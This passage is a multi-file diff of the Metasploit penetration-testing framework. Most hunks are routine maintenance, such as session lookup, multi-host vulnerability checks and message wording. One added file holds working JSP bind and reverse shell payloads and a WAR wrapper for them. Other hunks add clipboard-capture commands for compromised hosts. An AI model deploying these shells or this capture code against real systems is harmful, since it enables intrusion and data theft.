# Now try to find an interface whose network includes this
|
||||
# Route's gateway, which means it's the one the host uses to get
|
||||
# to the interweb.
|
||||
ifaces.each do |i|
|
||||
# Try all the addresses this interface has configured
|
||||
addr_and_mask = i.addrs.zip(i.netmasks).find do |addr, netmask|
|
||||
bits = Rex::Socket.net2bitmask( netmask )
|
||||
range = Rex::Socket::RangeWalker.new("#{addr}/#{bits}") rescue nil
|
||||
|
||||
!!(range && range.valid? && range.include?(route.gateway))
|
||||
end
|
||||
if addr_and_mask
|
||||
nhost = addr_and_mask[0]
|
||||
break
|
||||
end
|
||||
end
|
||||
break if nhost
|
||||
end
|
||||
|
||||
if !nhost
|
||||
# Find the first non-loopback address
|
||||
non_loopback = ifaces.find { |i| i.ip != "127.0.0.1" && i.ip != "::1" }
|
||||
if non_loopback
|
||||
nhost = non_loopback.ip
|
||||
end
|
||||
end
|
||||
end
|
||||
|
||||
nhost
|
||||
end
|
||||
|
||||
end
|
||||
|
||||
end
|
||||
|
|
|
@ -89,7 +89,7 @@ protected
|
|||
#
|
||||
# Job run proc, sets up the module and kicks it off.
|
||||
#
|
||||
# XXX: Mostly Copy/pasted from simple/auxiliarly.rb
|
||||
# XXX: Mostly Copy/pasted from simple/auxiliary.rb
|
||||
#
|
||||
def self.job_run_proc(ctx)
|
||||
mod = ctx[0]
|
||||
|
@ -99,9 +99,15 @@ protected
|
|||
# Grab the session object since we need to fire an event for not
|
||||
# only the normal module_run event that all module types have to
|
||||
# report, but a specific event for sessions as well.
|
||||
s = mod.framework.sessions[mod.datastore["SESSION"]]
|
||||
mod.framework.events.on_session_module_run(s, mod)
|
||||
mod.run
|
||||
s = mod.framework.sessions.get(mod.datastore["SESSION"])
|
||||
if s
|
||||
mod.framework.events.on_session_module_run(s, mod)
|
||||
mod.run
|
||||
else
|
||||
mod.print_error("Session not found")
|
||||
mod.cleanup
|
||||
return
|
||||
end
|
||||
rescue ::Timeout::Error => e
|
||||
mod.error = e
|
||||
mod.print_error("Post triggered a timeout exception")
|
||||
|
@ -135,7 +141,7 @@ protected
|
|||
#
|
||||
# Clean up the module after the job completes.
|
||||
#
|
||||
# Copy/pasted from simple/auxiliarly.rb
|
||||
# Copy/pasted from simple/auxiliary.rb
|
||||
#
|
||||
def self.job_cleanup_proc(ctx)
|
||||
mod = ctx[0]
|
||||
|
|
|
@ -32,6 +32,16 @@ def initialize(info = {})
|
|||
end
|
||||
|
||||
|
||||
def check
|
||||
nmod = replicant
|
||||
begin
|
||||
nmod.check_host(datastore['RHOST'])
|
||||
rescue NoMethodError
|
||||
Exploit::CheckCode::Unsupported
|
||||
end
|
||||
end
|
||||
|
||||
|
||||
#
|
||||
# The command handler when launched from the console
|
||||
#
|
||||
|
@ -79,7 +89,7 @@ def run
|
|||
|
||||
@tl = []
|
||||
|
||||
while (true)
|
||||
loop do
|
||||
# Spawn threads for each host
|
||||
while (@tl.length < threads_max)
|
||||
ip = ar.next_ip
|
||||
|
|
|
@ -198,7 +198,7 @@ class EncodedPayload
|
|||
|
||||
# Check to see if we have enough room for the minimum requirements
|
||||
if ((reqs['Space']) and (reqs['Space'] < eout.length + min))
|
||||
wlog("#{err_start}: Encoded payload version is too large with encoder #{encoder.refname}",
|
||||
wlog("#{err_start}: Encoded payload version is too large (#{eout.length} bytes) with encoder #{encoder.refname}",
|
||||
'core', LEV_1)
|
||||
next_encoder = true
|
||||
break
|
||||
|
|
|
@ -104,9 +104,9 @@ class Exploit < Msf::Module
|
|||
Vulnerable = [ 'vulnerable', "The target is vulnerable." ]
|
||||
|
||||
#
|
||||
# The exploit does not support the check method.
|
||||
# The module does not support the check method.
|
||||
#
|
||||
Unsupported = [ 'unsupported', "This exploit does not support check." ]
|
||||
Unsupported = [ 'unsupported', "This module does not support check." ]
|
||||
end
|
||||
|
||||
#
|
||||
|
@ -746,7 +746,7 @@ class Exploit < Msf::Module
|
|||
c_arch = (target and target.arch) ? target.arch : (arch == []) ? nil : arch
|
||||
|
||||
framework.encoders.each_module_ranked(
|
||||
'Arch' => c_arch) { |name, mod|
|
||||
'Arch' => c_arch, 'Platform' => c_platform) { |name, mod|
|
||||
|
||||
encoders << [ name, mod ]
|
||||
}
|
||||
|
|
|
@ -175,6 +175,8 @@ module Msf
|
|||
# Special keys to ignore because the script registers this as [:activex] = true or false
|
||||
next if k == :clsid or k == :method
|
||||
|
||||
vprint_debug("Comparing requirement: #{k}=#{v} vs k=#{profile[k.to_sym]}")
|
||||
|
||||
if v.is_a? Regexp
|
||||
bad_reqs << k if profile[k.to_sym] !~ v
|
||||
elsif v.is_a? Proc
|
||||
|
|
|
@ -380,7 +380,7 @@ module Exploit::Remote::TcpServer
|
|||
'LocalPort' => srvport,
|
||||
'SSL' => ssl,
|
||||
'SSLCert' => ssl_cert,
|
||||
'SSLCompression' => opts['SSLCompression'] || ssl_compression,
|
||||
'SSLCompression' => ssl_compression,
|
||||
'Comm' => comm,
|
||||
'Context' =>
|
||||
{
|
||||
|
|
|
@ -101,7 +101,7 @@ class Msf::Module::SiteReference < Msf::Module::Reference
|
|||
elsif (in_ctx_id == 'BID')
|
||||
self.site = 'http://www.securityfocus.com/bid/' + in_ctx_val.to_s
|
||||
elsif (in_ctx_id == 'MSB')
|
||||
self.site = 'http://www.microsoft.com/technet/security/bulletin/' + in_ctx_val.to_s + '.mspx'
|
||||
self.site = 'http://technet.microsoft.com/en-us/security/bulletin/' + in_ctx_val.to_s
|
||||
elsif (in_ctx_id == 'EDB')
|
||||
self.site = 'http://www.exploit-db.com/exploits/' + in_ctx_val.to_s
|
||||
elsif (in_ctx_id == 'WVE')
|
||||
|
|
|
@ -414,7 +414,7 @@ class Payload < Msf::Module
|
|||
encoders = []
|
||||
|
||||
framework.encoders.each_module_ranked(
|
||||
'Arch' => self.arch) { |name, mod|
|
||||
'Arch' => self.arch, 'Platform' => self.platform) { |name, mod|
|
||||
encoders << [ name, mod ]
|
||||
}
|
||||
|
||||
|
|
|
@ -0,0 +1,154 @@
|
|||
# -*- coding: binary -*-
|
||||
require 'msf/core'
|
||||
require 'rex'
|
||||
|
||||
module Msf::Payload::JSP
|
||||
# Outputs jsp that spawns a bind TCP shell
|
||||
# @return [String] jsp code that executes bind TCP payload
|
||||
def jsp_bind_tcp
|
||||
# Modified from: http://www.security.org.sg/code/jspreverse.html
|
||||
jsp = <<-EOS
|
||||
<%@page import="java.lang.*"%>
|
||||
<%@page import="java.util.*"%>
|
||||
<%@page import="java.io.*"%>
|
||||
<%@page import="java.net.*"%>
|
||||
|
||||
<%
|
||||
class StreamConnector extends Thread
|
||||
{
|
||||
InputStream is;
|
||||
OutputStream os;
|
||||
|
||||
StreamConnector( InputStream is, OutputStream os )
|
||||
{
|
||||
this.is = is;
|
||||
this.os = os;
|
||||
}
|
||||
|
||||
public void run()
|
||||
{
|
||||
BufferedReader in = null;
|
||||
BufferedWriter out = null;
|
||||
try
|
||||
{
|
||||
in = new BufferedReader( new InputStreamReader( this.is ) );
|
||||
out = new BufferedWriter( new OutputStreamWriter( this.os ) );
|
||||
char buffer[] = new char[8192];
|
||||
int length;
|
||||
while( ( length = in.read( buffer, 0, buffer.length ) ) > 0 )
|
||||
{
|
||||
out.write( buffer, 0, length );
|
||||
out.flush();
|
||||
}
|
||||
} catch( Exception e ){}
|
||||
try
|
||||
{
|
||||
if( in != null )
|
||||
in.close();
|
||||
if( out != null )
|
||||
out.close();
|
||||
} catch( Exception e ){}
|
||||
}
|
||||
}
|
||||
|
||||
try
|
||||
{
|
||||
ServerSocket server_socket = new ServerSocket( #{datastore['LPORT'].to_s} );
|
||||
Socket client_socket = server_socket.accept();
|
||||
server_socket.close();
|
||||
Process process = Runtime.getRuntime().exec( "#{datastore['SHELL']}" );
|
||||
( new StreamConnector( process.getInputStream(), client_socket.getOutputStream() ) ).start();
|
||||
( new StreamConnector( client_socket.getInputStream(), process.getOutputStream() ) ).start();
|
||||
} catch( Exception e ) {}
|
||||
%>
|
||||
EOS
|
||||
|
||||
return jsp
|
||||
end
|
||||
|
||||
# Outputs jsp code that spawns a reverse TCP shell
|
||||
# @return [String] jsp code that executes reverse TCP payload
|
||||
def jsp_reverse_tcp
|
||||
# JSP Reverse Shell modified from: http://www.security.org.sg/code/jspreverse.html
|
||||
jsp = <<-EOS
|
||||
<%@page import="java.lang.*"%>
|
||||
<%@page import="java.util.*"%>
|
||||
<%@page import="java.io.*"%>
|
||||
<%@page import="java.net.*"%>
|
||||
|
||||
<%
|
||||
class StreamConnector extends Thread
|
||||
{
|
||||
InputStream is;
|
||||
OutputStream os;
|
||||
|
||||
StreamConnector( InputStream is, OutputStream os )
|
||||
{
|
||||
this.is = is;
|
||||
this.os = os;
|
||||
}
|
||||
|
||||
public void run()
|
||||
{
|
||||
BufferedReader in = null;
|
||||
BufferedWriter out = null;
|
||||
try
|
||||
{
|
||||
in = new BufferedReader( new InputStreamReader( this.is ) );
|
||||
out = new BufferedWriter( new OutputStreamWriter( this.os ) );
|
||||
char buffer[] = new char[8192];
|
||||
int length;
|
||||
while( ( length = in.read( buffer, 0, buffer.length ) ) > 0 )
|
||||
{
|
||||
out.write( buffer, 0, length );
|
||||
out.flush();
|
||||
}
|
||||
} catch( Exception e ){}
|
||||
try
|
||||
{
|
||||
if( in != null )
|
||||
in.close();
|
||||
if( out != null )
|
||||
out.close();
|
||||
} catch( Exception e ){}
|
||||
}
|
||||
}
|
||||
|
||||
try
|
||||
{
|
||||
Socket socket = new Socket( "#{datastore['LHOST']}", #{datastore['LPORT'].to_s} );
|
||||
Process process = Runtime.getRuntime().exec( "#{datastore['SHELL']}" );
|
||||
( new StreamConnector( process.getInputStream(), socket.getOutputStream() ) ).start();
|
||||
( new StreamConnector( socket.getInputStream(), process.getOutputStream() ) ).start();
|
||||
} catch( Exception e ) {}
|
||||
%>
|
||||
EOS
|
||||
return jsp
|
||||
end
|
||||
|
||||
# Wraps the jsp payload into a war
|
||||
# @return [Rex::Zip::Jar] a war to execute the jsp payload
|
||||
def generate_war
|
||||
jsp_name = "#{Rex::Text.rand_text_alpha_lower(rand(8)+8)}.jsp"
|
||||
|
||||
zip = Rex::Zip::Jar.new
|
||||
|
||||
web_xml = <<-EOF
|
||||
<?xml version="1.0"?>
|
||||
<!DOCTYPE web-app PUBLIC
|
||||
"-//Sun Microsystems, Inc.//DTD Web Application 2.3//EN"
|
||||
"http://java.sun.com/dtd/web-app_2_3.dtd">
|
||||
<web-app>
|
||||
<welcome-file-list>
|
||||
<welcome-file>#{jsp_name}</welcome-file>
|
||||
</welcome-file-list>
|
||||
</web-app>
|
||||
EOF
|
||||
|
||||
zip.add_file("WEB-INF/", '')
|
||||
zip.add_file("WEB-INF/web.xml", web_xml)
|
||||
zip.add_file(jsp_name, generate)
|
||||
|
||||
zip
|
||||
end
|
||||
end
|
|
@ -85,21 +85,24 @@ module Msf::Payload::Windows::PrependMigrate
|
|||
ror edi, 13 ; Rotate right our hash value
|
||||
add edi, eax ; Add the next byte of the name
|
||||
loop loop_modname ; Loop untill we have read enough
|
||||
|
||||
; We now have the module hash computed
|
||||
push edx ; Save the current position in the module list for later
|
||||
push edi ; Save the current module hash for later
|
||||
; Proceed to iterate the export address table
|
||||
mov edx, [edx+16] ; Get this modules base address
|
||||
mov eax, [edx+60] ; Get PE header
|
||||
add eax, edx ; Add the modules base address
|
||||
mov eax, [eax+120] ; Get export tables RVA
|
||||
test eax, eax ; Test if no export address table is present
|
||||
jz get_next_mod1 ; If no EAT present, process the next module
|
||||
add eax, edx ; Add the modules base address
|
||||
push eax ; Save the current modules EAT
|
||||
mov ecx, [eax+24] ; Get the number of function names
|
||||
mov ebx, [eax+32] ; Get the rva of the function names
|
||||
|
||||
; use ecx as our EAT pointer here so we can take advantage of jecxz.
|
||||
mov ecx, [eax+edx+120] ; Get the EAT from the PE header
|
||||
jecxz get_next_mod1 ; If no EAT present, process the next module
|
||||
add ecx, edx ; Add the modules base address
|
||||
push ecx ; Save the current modules EAT
|
||||
mov ebx, [ecx+32] ; Get the rva of the function names
|
||||
add ebx, edx ; Add the modules base address
|
||||
mov ecx, [ecx+24] ; Get the number of function names
|
||||
; now ecx returns to its regularly scheduled counter duties
|
||||
|
||||
; Computing the module hash + function hash
|
||||
get_next_func: ;
|
||||
jecxz get_next_mod ; When we reach the start of the EAT (we search backwards), process the next module
|
||||
|
@ -118,6 +121,7 @@ module Msf::Payload::Windows::PrependMigrate
|
|||
add edi, [ebp-8] ; Add the current module hash to the function hash
|
||||
cmp edi, [ebp+36] ; Compare the hash to the one we are searchnig for
|
||||
jnz get_next_func ; Go compute the next function hash if we have not found it
|
||||
|
||||
; If found, fix up stack, call the function and then value else compute the next one...
|
||||
pop eax ; Restore the current modules EAT
|
||||
mov ebx, [eax+36] ; Get the ordinal table rva
|
||||
|
@ -138,6 +142,7 @@ module Msf::Payload::Windows::PrependMigrate
|
|||
push ecx ; Push back the correct return value
|
||||
jmp eax ; Jump into the required function
|
||||
; We now automagically return to the correct caller...
|
||||
|
||||
get_next_mod: ;
|
||||
pop eax ; Pop off the current (now the previous) modules EAT
|
||||
get_next_mod1: ;
|
||||
|
|
|
@ -2,6 +2,28 @@
|
|||
|
||||
module Msf::Post::Common
|
||||
|
||||
def rhost
|
||||
case session.type
|
||||
when 'meterpreter'
|
||||
session.sock.peerhost
|
||||
when 'shell'
|
||||
session.session_host
|
||||
end
|
||||
end
|
||||
|
||||
def rport
|
||||
case session.type
|
||||
when 'meterpreter'
|
||||
session.sock.peerport
|
||||
when 'shell'
|
||||
session.session_port
|
||||
end
|
||||
end
|
||||
|
||||
def peer
|
||||
"#{rhost}:#{rport}"
|
||||
end
|
||||
|
||||
#
|
||||
# Checks if the remote system has a process with ID +pid+
|
||||
#
|
||||
|
|
|
@ -41,13 +41,14 @@ module Msf::Post::File
|
|||
return stat.directory?
|
||||
else
|
||||
if session.platform =~ /win/
|
||||
# XXX
|
||||
f = cmd_exec("cmd.exe /C IF exist \"#{path}\\*\" ( echo true )")
|
||||
else
|
||||
f = session.shell_command_token("test -d '#{path}' && echo true")
|
||||
return false if f.nil? or f.empty?
|
||||
return false unless f =~ /true/
|
||||
return true
|
||||
end
|
||||
|
||||
return false if f.nil? or f.empty?
|
||||
return false unless f =~ /true/
|
||||
return true
|
||||
end
|
||||
end
|
||||
|
||||
|
@ -72,13 +73,17 @@ module Msf::Post::File
|
|||
return stat.file?
|
||||
else
|
||||
if session.platform =~ /win/
|
||||
# XXX
|
||||
f = cmd_exec("cmd.exe /C IF exist \"#{path}\" ( echo true )")
|
||||
if f =~ /true/
|
||||
f = cmd_exec("cmd.exe /C IF exist \"#{path}\\\\\" ( echo false ) ELSE ( echo true )")
|
||||
end
|
||||
else
|
||||
f = session.shell_command_token("test -f '#{path}' && echo true")
|
||||
return false if f.nil? or f.empty?
|
||||
return false unless f =~ /true/
|
||||
return true
|
||||
end
|
||||
|
||||
return false if f.nil? or f.empty?
|
||||
return false unless f =~ /true/
|
||||
return true
|
||||
end
|
||||
end
|
||||
|
||||
|
@ -93,13 +98,14 @@ module Msf::Post::File
|
|||
return !!(stat)
|
||||
else
|
||||
if session.platform =~ /win/
|
||||
# XXX
|
||||
f = cmd_exec("cmd.exe /C IF exist \"#{path}\" ( echo true )")
|
||||
else
|
||||
f = session.shell_command_token("test -e '#{path}' && echo true")
|
||||
return false if f.nil? or f.empty?
|
||||
return false unless f =~ /true/
|
||||
return true
|
||||
end
|
||||
|
||||
return false if f.nil? or f.empty?
|
||||
return false unless f =~ /true/
|
||||
return true
|
||||
end
|
||||
end
|
||||
|
||||
|
|
|
@ -96,6 +96,8 @@ module LDAP
|
|||
# @param [Integer] Maximum results
|
||||
# @param [Array] String array containing attributes to retrieve
|
||||
# @return [Hash] Entries found
|
||||
# @raise [RuntimeError] Raised when the default naming context isn't
|
||||
# specified as distinguished name.
|
||||
def query(filter, max_results, fields)
|
||||
default_naming_context = datastore['DOMAIN']
|
||||
default_naming_context ||= get_default_naming_context
|
||||
|
|
|
@ -74,7 +74,7 @@ module Msf::PostMixin
|
|||
return @session if @session and not session_changed?
|
||||
|
||||
if datastore["SESSION"]
|
||||
@session = framework.sessions[datastore["SESSION"].to_i]
|
||||
@session = framework.sessions.get(datastore["SESSION"].to_i)
|
||||
else
|
||||
@session = nil
|
||||
end
|
||||
|
|
|
@ -279,7 +279,17 @@ class SessionManager < Hash
|
|||
# Returns the session associated with the supplied sid, if any.
|
||||
#
|
||||
def get(sid)
|
||||
return self[sid.to_i]
|
||||
session = nil
|
||||
sid = sid.to_i
|
||||
|
||||
if sid > 0
|
||||
session = self[sid]
|
||||
elsif sid == -1
|
||||
sid = self.keys.sort[-1]
|
||||
session = self[sid]
|
||||
end
|
||||
|
||||
session
|
||||
end
|
||||
|
||||
#
|
||||
|
|
|
@ -36,35 +36,157 @@ module ModuleCommandDispatcher
|
|||
self.driver.active_module = m
|
||||
end
|
||||
|
||||
def check_progress
|
||||
return 0 unless @range_done and @range_count
|
||||
pct = (@range_done / @range_count.to_f) * 100
|
||||
end
|
||||
|
||||
def check_show_progress
|
||||
pct = check_progress
|
||||
if(pct >= (@range_percent + @show_percent))
|
||||
@range_percent = @range_percent + @show_percent
|
||||
tdlen = @range_count.to_s.length
|
||||
print_status("Checked #{"%.#{tdlen}d" % @range_done} of #{@range_count} hosts (#{"%.3d" % pct.to_i}% complete)")
|
||||
end
|
||||
end
|
||||
|
||||
def check_multiple(hosts)
|
||||
# This part of the code is mostly from scanner.rb
|
||||
@show_progress = framework.datastore['ShowProgress'] || mod.datastore['ShowProgress'] || false
|
||||
@show_percent = ( framework.datastore['ShowProgressPercent'] || mod.datastore['ShowProgressPercent'] ).to_i
|
||||
|
||||
@range_count = hosts.length || 0
|
||||
@range_done = 0
|
||||
@range_percent = 0
|
||||
|
||||
# Set the default thread to 1. The same behavior as before.
|
||||
threads_max = (framework.datastore['THREADS'] || mod.datastore['THREADS'] || 1).to_i
|
||||
@tl = []
|
||||
|
||||
|
||||
if Rex::Compat.is_windows
|
||||
if threads_max > 16
|
||||
print_warning("Thread count has been adjusted to 16")
|
||||
threads_max = 16
|
||||
end
|
||||
end
|
||||
|
||||
if Rex::Compat.is_cygwin
|
||||
if threads_max > 200
|
||||
print_warning("Thread count has been adjusted to 200")
|
||||
threads_max = 200
|
||||
end
|
||||
end
|
||||
|
||||
loop do
|
||||
while (@tl.length < threads_max)
|
||||
ip = hosts.next_ip
|
||||
break unless ip
|
||||
|
||||
@tl << framework.threads.spawn("CheckHost-#{ip}", false, ip.dup) { |tip|
|
||||
# Make sure this is thread-safe when assigning an IP to the RHOST
|
||||
# datastore option
|
||||
instance = mod.replicant
|
||||
instance.datastore['RHOST'] = tip.dup
|
||||
framework.events.on_module_created(instance)
|
||||
check_simple(instance)
|
||||
}
|
||||
end
|
||||
|
||||
break if @tl.length == 0
|
||||
|
||||
tla = @tl.length
|
||||
|
||||
# This exception handling is necessary, the first thread with errors can kill the
|
||||
# whole check_multiple and leave the rest of the threads running in background and
|
||||
# only accessible with the threads command (Thread.list)
|
||||
begin
|
||||
@tl.first.join
|
||||
rescue ::Exception => exception
|
||||
if exception.kind_of?(::Interrupt)
|
||||
raise exception
|
||||
else
|
||||
elog("#{exception} #{exception.class}:\n#{exception.backtrace.join("\n")}")
|
||||
end
|
||||
end
|
||||
|
||||
@tl.delete_if { |t| not t.alive? }
|
||||
tlb = @tl.length
|
||||
|
||||
@range_done += (tla - tlb)
|
||||
check_show_progress if @show_progress
|
||||
end
|
||||
end
|
||||
|
||||
#
|
||||
# Checks to see if a target is vulnerable.
|
||||
#
|
||||
def cmd_check(*args)
|
||||
defanged?
|
||||
|
||||
ip_range_arg = args.shift || framework.datastore['RHOSTS'] || mod.datastore['RHOSTS'] || ''
|
||||
hosts = Rex::Socket::RangeWalker.new(ip_range_arg)
|
||||
|
||||
begin
|
||||
code = mod.check_simple(
|
||||
if hosts.ranges.blank?
|
||||
# Check a single rhost
|
||||
check_simple
|
||||
else
|
||||
# Check multiple hosts
|
||||
last_rhost_opt = mod.rhost
|
||||
last_rhosts_opt = mod.datastore['RHOSTS']
|
||||
mod.datastore['RHOSTS'] = ip_range_arg
|
||||
begin
|
||||
check_multiple(hosts)
|
||||
ensure
|
||||
# Restore the original rhost if set
|
||||
mod.datastore['RHOST'] = last_rhost_opt
|
||||
mod.datastore['RHOSTS'] = last_rhosts_opt
|
||||
mod.cleanup
|
||||
end
|
||||
end
|
||||
rescue ::Interrupt
|
||||
# When the user sends interrupt trying to quit the task, some threads will still be active.
|
||||
# This means even though the console tells the user the task has aborted (or at least they
|
||||
# assume so), the checks are still running. Because of this, as soon as we detect interrupt,
|
||||
# we force the threads to die.
|
||||
if @tl
|
||||
@tl.each { |t| t.kill }
|
||||
end
|
||||
print_status("Caught interrupt from the console...")
|
||||
return
|
||||
end
|
||||
end
|
||||
|
||||
def check_simple(instance=nil)
|
||||
unless instance
|
||||
instance = mod
|
||||
end
|
||||
|
||||
rhost = instance.rhost
|
||||
rport = instance.rport
|
||||
|
||||
begin
|
||||
code = instance.check_simple(
|
||||
'LocalInput' => driver.input,
|
||||
'LocalOutput' => driver.output)
|
||||
if (code and code.kind_of?(Array) and code.length > 1)
|
||||
if (code == Msf::Exploit::CheckCode::Vulnerable)
|
||||
print_good(code[1])
|
||||
print_good("#{rhost}:#{rport} - #{code[1]}")
|
||||
else
|
||||
print_status(code[1])
|
||||
print_status("#{rhost}:#{rport} - #{code[1]}")
|
||||
end
|
||||
else
|
||||
print_error("Check failed: The state could not be determined.")
|
||||
print_error("#{rhost}:#{rport} - Check failed: The state could not be determined.")
|
||||
end
|
||||
rescue ::Interrupt
|
||||
raise $!
|
||||
rescue ::Rex::ConnectionError, ::Rex::ConnectionProxyError, ::Errno::ECONNRESET, ::Errno::EINTR, ::Rex::TimeoutError, ::Timeout::Error
|
||||
# Connection issues while running check should be handled by the module
|
||||
rescue ::RuntimeError
|
||||
# Some modules raise RuntimeError but we don't necessarily care about those when we run check()
|
||||
rescue Msf::OptionValidateError => e
|
||||
print_error("Check failed: #{e.message}")
|
||||
rescue ::Exception => e
|
||||
print_error("Exploit check failed: #{e.class} #{e}")
|
||||
if(e.class.to_s != 'Msf::OptionValidateError')
|
||||
print_error("Call stack:")
|
||||
e.backtrace.each do |line|
|
||||
break if line =~ /lib.msf.base.simple/
|
||||
print_error(" #{line}")
|
||||
end
|
||||
end
|
||||
print_error("#{rhost}:#{rport} - Check failed: #{e.class} #{e}")
|
||||
end
|
||||
end
|
||||
|
||||
|
|
|
@ -19,11 +19,11 @@ class Clipboard
|
|||
@client = client
|
||||
end
|
||||
|
||||
#
|
||||
# Get the target clipboard data in whichever format we can
|
||||
# (if it's supported).
|
||||
#
|
||||
def get_data(download = false)
|
||||
results = []
|
||||
|
||||
request = Packet.create_request('extapi_clipboard_get_data')
|
||||
|
||||
if download
|
||||
|
@ -32,45 +32,12 @@ class Clipboard
|
|||
|
||||
response = client.send_request(request)
|
||||
|
||||
text = response.get_tlv_value(TLV_TYPE_EXT_CLIPBOARD_TYPE_TEXT)
|
||||
|
||||
if text
|
||||
results << {
|
||||
:type => :text,
|
||||
:data => text
|
||||
}
|
||||
end
|
||||
|
||||
files = []
|
||||
response.each(TLV_TYPE_EXT_CLIPBOARD_TYPE_FILE) { |f|
|
||||
files << {
|
||||
:name => f.get_tlv_value(TLV_TYPE_EXT_CLIPBOARD_TYPE_FILE_NAME),
|
||||
:size => f.get_tlv_value(TLV_TYPE_EXT_CLIPBOARD_TYPE_FILE_SIZE)
|
||||
}
|
||||
}
|
||||
|
||||
if files.length > 0
|
||||
results << {
|
||||
:type => :files,
|
||||
:data => files
|
||||
}
|
||||
end
|
||||
|
||||
response.each(TLV_TYPE_EXT_CLIPBOARD_TYPE_IMAGE_JPG) do |jpg|
|
||||
if jpg
|
||||
results << {
|
||||
:type => :jpg,
|
||||
:width => jpg.get_tlv_value(TLV_TYPE_EXT_CLIPBOARD_TYPE_IMAGE_JPG_DIMX),
|
||||
:height => jpg.get_tlv_value(TLV_TYPE_EXT_CLIPBOARD_TYPE_IMAGE_JPG_DIMY),
|
||||
:data => jpg.get_tlv_value(TLV_TYPE_EXT_CLIPBOARD_TYPE_IMAGE_JPG_DATA)
|
||||
}
|
||||
end
|
||||
end
|
||||
|
||||
return results
|
||||
return parse_dump(response)
|
||||
end
|
||||
|
||||
#
|
||||
# Set the target clipboard data to a text value
|
||||
#
|
||||
def set_text(text)
|
||||
request = Packet.create_request('extapi_clipboard_set_data')
|
||||
|
||||
|
@ -81,8 +48,120 @@ class Clipboard
|
|||
return true
|
||||
end
|
||||
|
||||
#
|
||||
# Start the clipboard monitor if it hasn't been started.
|
||||
#
|
||||
def monitor_start(opts)
|
||||
request = Packet.create_request('extapi_clipboard_monitor_start')
|
||||
request.add_tlv(TLV_TYPE_EXT_CLIPBOARD_MON_WIN_CLASS, opts[:wincls])
|
||||
request.add_tlv(TLV_TYPE_EXT_CLIPBOARD_MON_CAP_IMG_DATA, opts[:cap_img])
|
||||
return client.send_request(request)
|
||||
end
|
||||
|
||||
#
|
||||
# Pause the clipboard monitor if it's running.
|
||||
#
|
||||
def monitor_pause
|
||||
request = Packet.create_request('extapi_clipboard_monitor_pause')
|
||||
return client.send_request(request)
|
||||
end
|
||||
|
||||
#
|
||||
# Dump the conents of the clipboard monitor to the local machine.
|
||||
#
|
||||
def monitor_dump(opts)
|
||||
pull_img = opts[:include_images]
|
||||
purge = opts[:purge]
|
||||
purge = true if purge.nil?
|
||||
|
||||
request = Packet.create_request('extapi_clipboard_monitor_dump')
|
||||
request.add_tlv(TLV_TYPE_EXT_CLIPBOARD_MON_CAP_IMG_DATA, pull_img)
|
||||
request.add_tlv(TLV_TYPE_EXT_CLIPBOARD_MON_PURGE, purge)
|
||||
|
||||
response = client.send_request(request)
|
||||
|
||||
return parse_dump(response)
|
||||
end
|
||||
|
||||
#
|
||||
# Resume the clipboard monitor if it has been paused.
|
||||
#
|
||||
def monitor_resume
|
||||
request = Packet.create_request('extapi_clipboard_monitor_resume')
|
||||
return client.send_request(request)
|
||||
end
|
||||
|
||||
#
|
||||
# Purge the contents of the clipboard capture without downloading.
|
||||
#
|
||||
def monitor_purge
|
||||
request = Packet.create_request('extapi_clipboard_monitor_purge')
|
||||
return client.send_request(request)
|
||||
end
|
||||
|
||||
#
|
||||
# Stop the clipboard monitor and dump optionally it's contents.
|
||||
#
|
||||
def monitor_stop(opts)
|
||||
dump = opts[:dump]
|
||||
pull_img = opts[:include_images]
|
||||
|
||||
request = Packet.create_request('extapi_clipboard_monitor_stop')
|
||||
request.add_tlv(TLV_TYPE_EXT_CLIPBOARD_MON_DUMP, dump)
|
||||
request.add_tlv(TLV_TYPE_EXT_CLIPBOARD_MON_CAP_IMG_DATA, pull_img)
|
||||
|
||||
response = client.send_request(request)
|
||||
unless dump
|
||||
return response
|
||||
end
|
||||
|
||||
return parse_dump(response)
|
||||
end
|
||||
|
||||
attr_accessor :client
|
||||
|
||||
private
|
||||
|
||||
def parse_dump(response)
|
||||
result = {}
|
||||
|
||||
response.each(TLV_TYPE_EXT_CLIPBOARD_TYPE_TEXT) do |t|
|
||||
ts = t.get_tlv_value(TLV_TYPE_EXT_CLIPBOARD_TYPE_TIMESTAMP)
|
||||
result[ts] ||= {}
|
||||
|
||||
# fat chance of someone adding two different bits of text to the
|
||||
# clipboard at the same time
|
||||
result[ts]['Text'] = t.get_tlv_value(TLV_TYPE_EXT_CLIPBOARD_TYPE_TEXT_CONTENT)
|
||||
end
|
||||
|
||||
response.each(TLV_TYPE_EXT_CLIPBOARD_TYPE_FILE) do |f|
|
||||
ts = f.get_tlv_value(TLV_TYPE_EXT_CLIPBOARD_TYPE_TIMESTAMP)
|
||||
result[ts] ||= {}
|
||||
result[ts]['Files'] ||= []
|
||||
result[ts]['Files'] << {
|
||||
:name => f.get_tlv_value(TLV_TYPE_EXT_CLIPBOARD_TYPE_FILE_NAME),
|
||||
:size => f.get_tlv_value(TLV_TYPE_EXT_CLIPBOARD_TYPE_FILE_SIZE)
|
||||
}
|
||||
end
|
||||
|
||||
response.each(TLV_TYPE_EXT_CLIPBOARD_TYPE_IMAGE_JPG) do |jpg|
|
||||
if jpg
|
||||
ts = jpg.get_tlv_value(TLV_TYPE_EXT_CLIPBOARD_TYPE_TIMESTAMP)
|
||||
result[ts] ||= {}
|
||||
|
||||
# same story with images, there's no way more than one can come
|
||||
# through on the same timestamp with differences
|
||||
result[ts]['Image'] = {
|
||||
:width => jpg.get_tlv_value(TLV_TYPE_EXT_CLIPBOARD_TYPE_IMAGE_JPG_DIMX),
|
||||
:height => jpg.get_tlv_value(TLV_TYPE_EXT_CLIPBOARD_TYPE_IMAGE_JPG_DIMY),
|
||||
:data => jpg.get_tlv_value(TLV_TYPE_EXT_CLIPBOARD_TYPE_IMAGE_JPG_DATA)
|
||||
}
|
||||
end
|
||||
end
|
||||
|
||||
return result
|
||||
end
|
||||
|
||||
end
|
||||
|
||||
end; end; end; end; end; end
|
||||
|
|
|
@ -30,7 +30,11 @@ TLV_TYPE_EXT_SERVICE_QUERY_DACL = TLV_META_TYPE_STRING | (TLV_TYPE_E
|
|||
|
||||
TLV_TYPE_EXT_CLIPBOARD_DOWNLOAD = TLV_META_TYPE_BOOL | (TLV_TYPE_EXTENSION_EXTAPI + TLV_EXTENSIONS + 35)
|
||||
|
||||
TLV_TYPE_EXT_CLIPBOARD_TYPE_TEXT = TLV_META_TYPE_STRING | (TLV_TYPE_EXTENSION_EXTAPI + TLV_EXTENSIONS + 40)
|
||||
